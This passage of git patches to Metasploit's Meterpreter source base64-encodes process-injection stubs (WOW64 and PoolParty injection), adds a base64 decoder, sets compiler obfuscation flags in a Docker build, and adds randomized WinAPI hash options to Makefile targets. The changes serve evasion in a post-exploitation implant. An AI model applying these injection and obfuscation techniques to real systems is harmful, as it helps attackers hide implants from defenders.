RWX buffer in this process for the EXECUTEX64 function - pExecuteX64 = (EXECUTEX64)met_api->win_api.kernel32.VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + pExecuteX64 = (EXECUTEX64)met_api->win_api.kernel32.VirtualAlloc( NULL, stExecStubLen, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !pExecuteX64 ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) - + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) - pX64function = (X64FUNCTION)met_api->win_api.kernel32.VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + pX64function = (X64FUNCTION)met_api->win_api.kernel32.VirtualAlloc( NULL, stWowStubLen + sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !pX64function ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) - + // copy over the wow64->x64 stub - memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + memcpy( pExecuteX64, pExecStub, stExecStubLen ); // copy over the native x64 function - memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + memcpy( pX64function, pWowStub, stWowStubLen ); // set the context - ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + stWowStubLen ); ctx->h.hProcess = hProcess; ctx->s.lpStartAddress = lpStartAddress; @@ -434,6 +411,12 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV if( pX64function ) met_api->win_api.kernel32.VirtualFree( pX64function, 0, MEM_DECOMMIT ); + if( pExecStub ) + free( pExecStub ); + + if( pWowStub ) + free( pWowStub ); + return dwResult; } @@ -535,13 +518,19 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X64 || dwMeterpreterArch == PROCESS_ARCH_X86)) { dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64"); - lpStub = &poolparty_stub_x64; - dwStubSize = sizeof(poolparty_stub_x64); + lpStub = b64_decode(poolparty_stub_x64_b64, &stStubDecoded); + if (!lpStub) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] b64_decode poolparty_stub_x64 failed", ERROR_OUTOFMEMORY); + } + dwStubSize = (DWORD)stStubDecoded; } else if (dwDestinationArch == PROCESS_ARCH_X86 && dwMeterpreterArch == PROCESS_ARCH_X86) { dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x86"); - lpStub = &poolparty_stub_x86; - dwStubSize = sizeof(poolparty_stub_x86); + lpStub = b64_decode(poolparty_stub_x86_b64, &stStubDecoded); + if (!lpStub) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] b64_decode poolparty_stub_x86 failed", ERROR_OUTOFMEMORY); + } + dwStubSize = (DWORD)stStubDecoded; } else { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_INVALID_FUNCTION); @@ -612,6 +601,11 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW met_api->win_api.kernel32.CloseHandle(hTriggerEvent); } while (0); + + if (lpStub) { + free(lpStub); + } + return dwResult; } diff --git a/c/meterpreter/source/metsrv/util_b64.c b/c/meterpreter/source/metsrv/util_b64.c new file mode 100644 index 000000000..ab7b1f76a --- /dev/null +++ b/c/meterpreter/source/metsrv/util_b64.c @@ -0,0 +1,53 @@ +#include "util_b64.h" +#include +#include + +static int b64_val(char c) +{ + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + +BYTE* b64_decode(const char* input, size_t* out_len) +{ + if (!input || !out_len) return NULL; + + size_t in_len = strlen(input); + if (in_len == 0 || (in_len % 4) != 0) return NULL; + + size_t pad = 0; + if (input[in_len - 1] == '=') pad++; + if (in_len >= 2 && input[in_len - 2] == '=') pad++; + + size_t decoded_len = (in_len / 4) * 3 - pad; + BYTE* out = (BYTE*)malloc(decoded_len); + if (!out) return NULL; + + size_t oi = 0; + for (size_t i = 0; i < in_len; i += 4) + { + int v0 = b64_val(input[i]); + int v1 = b64_val(input[i + 1]); + int v2 = (input[i + 2] == '=') ? 0 : b64_val(input[i + 2]); + int v3 = (input[i + 3] == '=') ? 0 : b64_val(input[i + 3]); + if (v0 < 0 || v1 < 0 || v2 < 0 || v3 < 0) + { + free(out); + return NULL; + } + unsigned int triple = ((unsigned int)v0 << 18) + | ((unsigned int)v1 << 12) + | ((unsigned int)v2 << 6) + | (unsigned int)v3; + if (oi < decoded_len) out[oi++] = (BYTE)((triple >> 16) & 0xFF); + if (oi < decoded_len) out[oi++] = (BYTE)((triple >> 8) & 0xFF); + if (oi < decoded_len) out[oi++] = (BYTE)( triple & 0xFF); + } + + *out_len = decoded_len; + return out; +} diff --git a/c/meterpreter/source/metsrv/util_b64.h b/c/meterpreter/source/metsrv/util_b64.h new file mode 100644 index 000000000..21a982709 --- /dev/null +++ b/c/meterpreter/source/metsrv/util_b64.h @@ -0,0 +1,13 @@ +#ifndef _METERPRETER_METSRV_UTIL_B64_H +#define _METERPRETER_METSRV_UTIL_B64_H + +#include "metsrv.h" + +/* + * Decode a base64 (RFC 4648) C string. On success returns a malloc'd buffer + * of *out_len bytes; caller must free(). Returns NULL on invalid input or + * allocation failure. + */ +BYTE* b64_decode(const char* input, size_t* out_len); + +#endif From d24543003ea0242eeb9665a63531b9bb4db88db3 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 17 Aug 2026 14:15:34 +0200 Subject: [PATCH 4/9] feat: add variable for decoded stub size in inject_via_poolparty function --- c/meterpreter/source/metsrv/base_inject.c | 1 + 1 file changed, 1 insertion(+) diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 52ad1f6c3..c67b6b643 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -500,6 +500,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW LPVOID lpStub = NULL; DWORD dwStubSize = 0; + size_t stStubDecoded = 0; HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); From e15dbfe7eebcef0125952bdc025ca5747340a2d0 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 18 Aug 2026 09:37:14 +0200 Subject: [PATCH 5/9] fix: update Docker build command to include correct image tag --- docker/Dockerfile.obfuscation | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docker/Dockerfile.obfuscation b/docker/Dockerfile.obfuscation index d4025a202..e207e2acd 100644 --- a/docker/Dockerfile.obfuscation +++ b/docker/Dockerfile.obfuscation @@ -1,5 +1,5 @@ # To build the dev environment. -# docker build -t msf-ubuntu-x64-meterpreter:obfuscation -f ./Dockerfile.obfuscation . +# docker build -t rapid7/msf-ubuntu-x64-meterpreter-obfuscation -f ./Dockerfile.obfuscation . FROM ubuntu:24.04 ENV DEBIAN_FRONTEND noninteractive @@ -44,4 +44,4 @@ ENV PATH="$TOOLCHAIN_PREFIX/bin:${PATH}" ENV EXCLUDE_REFLECTIVE_LOADER=1 ENV LLVM_ADDITIONAL_ARGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols -fmodule-name=lib.dll -O0 -Wno-macro-redefined -Wno-unused-command-line-argument -Wno-error=incompatible-pointer-types" ENV ARKARI_ADDITIONAL_ARGS="-mllvm -irobf-indbr -mllvm -irobf-icall -mllvm -irobf-indgv -mllvm -irobf-cse -mllvm -irobf-fla" -ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\" -DEXCLUDE_REFLECTIVE_LOADER=ON" \ No newline at end of file +ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\" -DEXCLUDE_REFLECTIVE_LOADER=ON" From 75911768829f517e3188b9667ad5ee41fa831963 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 18 Aug 2026 10:55:34 +0200 Subject: [PATCH 6/9] feat: add winapi function hashes randomization with mingw builds --- c/meterpreter/Makefile | 125 ++++++------ c/meterpreter/source/metsrv/winapi.h | 166 +-------------- c/meterpreter/source/metsrv/winapi_hashes.h | 183 +++++++++++++++++ c/meterpreter/source/metsrv/winapi_hashes.txt | 189 ++++++++++++++++++ c/meterpreter/tools/regen_winapi_hashes.py | 135 +++++++++++++ c/meterpreter/workspace/metsrv/CMakeLists.txt | 106 ++++++++++ 6 files changed, 680 insertions(+), 224 deletions(-) create mode 100644 c/meterpreter/source/metsrv/winapi_hashes.h create mode 100644 c/meterpreter/source/metsrv/winapi_hashes.txt create mode 100755 c/meterpreter/tools/regen_winapi_hashes.py diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile index b3f4bce6d..0ac968b4f 100644 --- a/c/meterpreter/Makefile +++ b/c/meterpreter/Makefile @@ -13,6 +13,11 @@ ifdef EXCLUDE_REFLECTIVE_LOADER COMMON_GEN += -DEXCLUDE_REFLECTIVE_LOADER=ON endif +# Env vars forwarded into every `docker run` invocation. CMake picks these up +# via $ENV{...} at configure time — see workspace/metsrv/CMakeLists.txt for +# RANDOM_HASH / METSRV_HASH_SEED / METSRV_HASH_KEY handling. +DOCKER_ENV = -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER -e RANDOM_HASH -e METSRV_HASH_SEED -e METSRV_HASH_KEY + ifdef DEBUG COMMON_GEN += -DDBGTRACE=ON COMMON_GEN += -DDBGTRACE_VERBOSE=ON @@ -411,7 +416,7 @@ meterpreter-ext-bofloader-x64-build: ########################################################################################## docker: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make docker-container: @docker build ../../docker -t $(DOCKER_CONTAINER) @@ -420,178 +425,178 @@ docker-shell: @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter --rm $(DOCKER_CONTAINER) bash docker-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-x64 docker-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-x86 docker-metsrv: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-metsrv + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-metsrv docker-metsrv-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x86 docker-metsrv-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-metsrv-x64 docker-ext-stdapi: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi docker-ext-stdapi-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x86 docker-ext-stdapi-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-x64 docker-ext-stdapi-audio: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-audio + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-audio docker-ext-stdapi-audio-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-audio-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-audio-x86 docker-ext-stdapi-audio-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-audio-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-audio-x64 docker-ext-stdapi-fs: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-fs + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-fs docker-ext-stdapi-fs-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-fs-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-fs-x86 docker-ext-stdapi-fs-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-fs-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-fs-x64 docker-ext-stdapi-net: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-net + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-net docker-ext-stdapi-net-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-net-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-net-x86 docker-ext-stdapi-net-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-net-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-net-x64 docker-ext-stdapi-railgun: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-railgun + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-railgun docker-ext-stdapi-railgun-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-railgun-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-railgun-x86 docker-ext-stdapi-railgun-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-railgun-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-railgun-x64 docker-ext-stdapi-sys: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-sys + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-sys docker-ext-stdapi-sys-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-sys-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-sys-x86 docker-ext-stdapi-sys-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-sys-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-sys-x64 docker-ext-stdapi-ui: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-ui + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-ui docker-ext-stdapi-ui-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-ui-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-ui-x86 docker-ext-stdapi-ui-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-ui-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-ui-x64 docker-ext-stdapi-webcam: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-webcam + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-webcam docker-ext-stdapi-webcam-x86: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-webcam-x86 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-webcam-x86 docker-ext-stdapi-webcam-x64: - @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-webcam-x64 + @docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-stdapi-webcam-x64 docker-ext-priv: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv docker-ext-priv-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x86 docker-ext-priv-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-priv-x64 docker-ext-extapi: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi docker-ext-extapi-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x86 docker-ext-extapi-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-extapi-x64 docker-ext-incognito: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito docker-ext-incognito-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x86 docker-ext-incognito-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-incognito-x64 docker-ext-espia: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia docker-ext-espia-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x86 docker-ext-espia-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-espia-x64 docker-ext-lanattacks: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks docker-ext-lanattacks-x86: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x86 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x86 docker-ext-lanattacks-x64: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x64 + @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter $(DOCKER_ENV) --rm $(DOCKER_CONTAINER) make meterpreter-ext-lanattacks-x64 docker-ext-unhook: - @docker run -u $(ID):$(ID) -it -v "${PWD}":/meterpreter -w /meterpreter -e DEBUG -e EXCLUDE_REFLECTIVE_LOADER --rm 